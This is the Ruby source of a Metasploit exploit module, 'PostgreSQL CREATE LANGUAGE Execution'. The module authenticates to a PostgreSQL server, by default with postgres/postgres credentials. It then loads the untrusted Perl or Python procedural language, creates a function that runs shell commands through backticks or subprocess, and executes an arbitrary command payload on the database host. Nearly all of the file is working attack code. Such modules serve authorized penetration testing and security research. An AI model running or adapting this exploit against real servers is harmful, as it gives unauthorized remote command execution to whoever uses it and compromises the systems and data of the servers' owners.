Files
metasploit-gs/modules/exploits/multi/postgres/postgres_createlang.rb
T
2016-01-05 21:11:08 -08:00

259 lines
7.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/postgres'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
'Description' => %q(
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
To execute system commands, loading the "untrusted" version of the language is necessary.
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
and has been tested on OS X, Windows, and Linux.
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
Only Postgres 8 and up are supported.
),
'Author' => [
'Micheal Cottingham', # author of this module
'midnitesnake', # the postgres_payload module that this is based on
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
],
'Platform' => %w(linux unix win osx),
'Payload' => {
'PayloadType' => %w(cmd)
},
'Arch' => [ARCH_CMD],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 1 2016')
)
register_options([
OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
], self.class)
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def check
version = postgres_fingerprint
if version[:auth]
version_match = version[:auth].match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
major_version = version_match['major_version']
if major_version.to_i >= 8
return CheckCode::Appears
else
print_error "#{rhost}:#{rport} - Unsupported version - #{version[:auth]}"
return CheckCode::Safe
end
else
print_error "#{rhost}:#{rport} - Authentication failed"
return CheckCode::Safe
end
end
def exploit
version = do_login(username, password, database)
case version
when :noauth
print_error "#{rhost}:#{rport} - Authentication failed"
return
when :noconn
print_error "#{rhost}:#{rport} - Connection failed"
return
else
print_status "#{rhost}:#{rport} - #{version}"
end
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
major_version = version_match['major_version']
extension = 'LANGUAGE'
if major_version.to_i == 8
print_status "#{rhost}:#{rport} - Selecting version 8 attack"
extension = 'LANGUAGE'
elsif major_version.to_i >= 9
print_status "#{rhost}:#{rport} - Selecting version 9 attack"
extension = 'LANGUAGE'
else
print_error "#{rhost}:#{rport} - Unsupported version - #{version}"
return false
end
print_warning 'This exploit does not clean up after itself - you will need to do that manually'
# Attack!
begin
func_name = Rex::Text.rand_text_alpha(10)
languages = %w(perl python python2 python3)
loaded = false
languages.each do |language|
load_lang = create_language(language, extension)
human_language = language.capitalize
print_status "#{rhost}:#{rport} - Attempting to load #{human_language}"
case load_lang
when :exists
print_good "#{rhost}:#{rport} - #{human_language} is already loaded, continuing"
create_function(language, func_name)
loaded = true
when :loaded
print_good "#{rhost}:#{rport} - #{human_language} was successfully loaded, continuing"
create_function(language, func_name)
loaded = true
when :not_exists
print_status "#{rhost}:#{rport} - #{human_language} could not be loaded"
else
print_error "#{rhost}:#{rport} - Error occurred"
return false
end
break if loaded
end
if loaded
# Known bug: When using the cmd/unix/python*, ruby*, or bash payloads, it'll say
# "NoMethodError undefined method `+' for nil:NilClass"
# But the exploit and payload work just fine. I'm open to suggestions on why and how to fix - @micheal
select_query = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')")
case select_query.keys[0]
when :conn_error
print_error "#{rhost}:#{rport} - Connection error"
when :sql_error
print_error "#{rhost}:#{rport} - Exploit failed"
return false
when :complete
print_good "#{rhost}:#{rport} - Exploit successful"
end
else
print_error "#{rhost}:#{rport} - Exploit failed"
return false
end
rescue RuntimeError => e
print_error "#{rhost}:#{rport} - Failed to create UDF: #{e.class}: #{e}"
end
postgres_logout if @postgres_conn
end
def create_function(language, func_name)
load_func = ''
case language
when 'perl'
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$" \
"`$_[0]`;" \
"$$ LANGUAGE pl#{language}u")
when /^python(?:2|3)?/i
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" \
"import subprocess, shlex\r" \
"subprocess.check_output(shlex.split(c))\r" \
"$$ LANGUAGE pl#{language}u")
end
case load_func.keys[0]
when :conn_error
print_error "#{rhost}:#{rport} - Connection error"
when :sql_error
print_error "#{rhost}:#{rport} Exploit failed"
return false
when :complete
print_good "#{rhost}:#{rport} - Loaded UDF (exec_#{func_name})"
end
end
def create_language(language, extension)
load_language = postgres_query("CREATE #{extension} pl#{language}u")
if load_language.keys[0] == :sql_error
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
if match_exists
return :exists
else
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
if match_error
return :not_exists
end
end
else
return :loaded
end
end
# Authenticate to the postgres server.
# Returns the version from #postgres_fingerprint
def do_login(user, pass, database)
begin
password = pass || postgres_password
result = postgres_fingerprint(
db: database,
username: user,
password: password
)
if result[:auth]
return result[:auth]
else
print_status "#{rhost}:#{rport} - Login failed"
return :noauth
end
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
return :noconn
end
end
end